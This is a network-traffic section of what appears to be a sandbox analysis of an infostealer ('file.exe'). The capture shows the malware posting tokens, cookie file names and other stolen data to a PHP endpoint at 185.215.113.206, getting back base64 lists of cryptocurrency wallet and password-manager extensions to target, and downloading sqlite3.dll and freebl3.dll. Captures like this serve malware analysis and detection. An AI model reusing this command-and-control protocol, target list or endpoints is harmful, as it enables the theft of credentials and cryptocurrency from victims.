63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 8, 2024 15:20:39.867477894 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 8, 2024 15:20:39.867497921 CET	224	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxw
Nov 8, 2024 15:20:39.867537975 CET	1236	IN	Data Raw: 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d Data Ascii: Z2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamt
Nov 8, 2024 15:20:39.867549896 CET	1236	IN	Data Raw: 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 Data Ascii: fDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J
Nov 8, 2024 15:20:39.867571115 CET	424	IN	Data Raw: 62 32 52 6f 61 57 56 76 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 Data Ascii: b2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1
Nov 8, 2024 15:20:39.867861986 CET	1236	IN	Data Raw: 5a 32 70 76 5a 33 42 76 61 57 52 6c 61 6d 52 6c 62 57 64 76 62 32 4e 6f 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 46 71 61 58 42 69 63 47 52 76 5a 33 Data Ascii: Z2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25
Nov 8, 2024 15:20:39.867875099 CET	516	IN	Data Raw: 62 32 5a 38 4d 58 77 77 66 44 42 38 56 47 39 75 61 32 56 6c 63 47 56 79 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 52 75 5a 33 42 73 5a 6d 70 74 62 6d 39 76 63 48 42 69 59 32 78 72 61 33 77 78 66 44 Data Ascii: b2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFd
Nov 8, 2024 15:20:39.870449066 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIIEGHIDBGHIECAAECGD Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 37 31 34 30 61 36 30 30 34 36 35 33 37 62 33 36 33 63 64 61 62 38 61 36 64 61 32 39 34 62 63 38 39 61 31 63 63 30 35 66 62 66 32 39 36 37 39 37 30 66 63 39 32 30 37 37 62 33 32 30 64 35 36 31 65 35 32 63 65 36 61 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 2d 2d 0d 0a Data Ascii: ------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="token"f7140a60046537b363cdab8a6da294bc89a1cc05fbf2967970fc92077b320d561e52ce6a------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="message"fplugins------GIIEGHIDBGHIECAAECGD--
Nov 8, 2024 15:20:40.156706095 CET	335	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:20:40 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 8, 2024 15:20:40.185159922 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJEGDGIJECGCBGCGHDG Host: 185.215.113.206 Content-Length: 5871 Connection: Keep-Alive Cache-Control: no-cache
Nov 8, 2024 15:20:40.185213089 CET	5871	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 37 31 34 30 61 Data Ascii: ------BKJEGDGIJECGCBGCGHDGContent-Disposition: form-data; name="token"f7140a60046537b363cdab8a6da294bc89a1cc05fbf2967970fc92077b320d561e52ce6a------BKJEGDGIJECGCBGCGHDGContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 8, 2024 15:20:40.991018057 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:20:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 8, 2024 15:20:41.291697979 CET	94	OUT	GET /746f34465cf17784/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 8, 2024 15:20:41.576453924 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:20:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 8, 2024 15:20:41.576494932 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49733	185.215.113.206	80	7596	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 8, 2024 15:20:52.263463974 CET	202	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFCFBKKKFHCFHJKFIIEH Host: 185.215.113.206 Content-Length: 991 Connection: Keep-Alive Cache-Control: no-cache
Nov 8, 2024 15:20:52.263506889 CET	991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 46 43 46 42 4b 4b 4b 46 48 43 46 48 4a 4b 46 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 37 31 34 30 61 Data Ascii: ------BFCFBKKKFHCFHJKFIIEHContent-Disposition: form-data; name="token"f7140a60046537b363cdab8a6da294bc89a1cc05fbf2967970fc92077b320d561e52ce6a------BFCFBKKKFHCFHJKFIIEHContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Nov 8, 2024 15:20:53.706804037 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:20:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 8, 2024 15:20:54.780112982 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFHDHJKKJDHJJJJKEGHI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 37 31 34 30 61 36 30 30 34 36 35 33 37 62 33 36 33 63 64 61 62 38 61 36 64 61 32 39 34 62 63 38 39 61 31 63 63 30 35 66 62 66 32 39 36 37 39 37 30 66 63 39 32 30 37 37 62 33 32 30 64 35 36 31 65 35 32 63 65 36 61 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BFHDHJKKJDHJJJJKEGHIContent-Disposition: form-data; name="token"f7140a60046537b363cdab8a6da294bc89a1cc05fbf2967970fc92077b320d561e52ce6a------BFHDHJKKJDHJJJJKEGHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFHDHJKKJDHJJJJKEGHIContent-Disposition: form-data; name="file"------BFHDHJKKJDHJJJJKEGHI--
Nov 8, 2024 15:20:55.567950964 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:20:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49753	185.215.113.206	80	7596	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 8, 2024 15:21:04.947576046 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGCGHIDHCBFHIDGHCBK Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 8, 2024 15:21:04.947576046 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 43 47 48 49 44 48 43 42 46 48 49 44 47 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 37 31 34 30 61 Data Ascii: ------EBGCGHIDHCBFHIDGHCBKContent-Disposition: form-data; name="token"f7140a60046537b363cdab8a6da294bc89a1cc05fbf2967970fc92077b320d561e52ce6a------EBGCGHIDHCBFHIDGHCBKContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 8, 2024 15:21:06.529947042 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:21:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 8, 2024 15:21:07.011964083 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDAAFBGDBKJJJKFIIIJJ Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 37 31 34 30 61 36 30 30 34 36 35 33 37 62 33 36 33 63 64 61 62 38 61 36 64 61 32 39 34 62 63 38 39 61 31 63 63 30 35 66 62 66 32 39 36 37 39 37 30 66 63 39 32 30 37 37 62 33 32 30 64 35 36 31 65 35 32 63 65 36 61 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IDAAFBGDBKJJJKFIIIJJContent-Disposition: form-data; name="token"f7140a60046537b363cdab8a6da294bc89a1cc05fbf2967970fc92077b320d561e52ce6a------IDAAFBGDBKJJJKFIIIJJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDAAFBGDBKJJJKFIIIJJContent-Disposition: form-data; name="file"------IDAAFBGDBKJJJKFIIIJJ--
Nov 8, 2024 15:21:07.790719986 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:21:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 8, 2024 15:21:08.563328981 CET	94	OUT	GET /746f34465cf17784/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 8, 2024 15:21:08.863811016 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:21:08 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 8, 2024 15:21:08.863833904 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 8, 2024 15:21:08.863846064 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 8, 2024 15:21:08.863857985 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 8, 2024 15:21:08.863867998 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Nov 8, 2024 15:21:08.863879919 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Nov 8, 2024 15:21:08.863892078 CET	1236	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
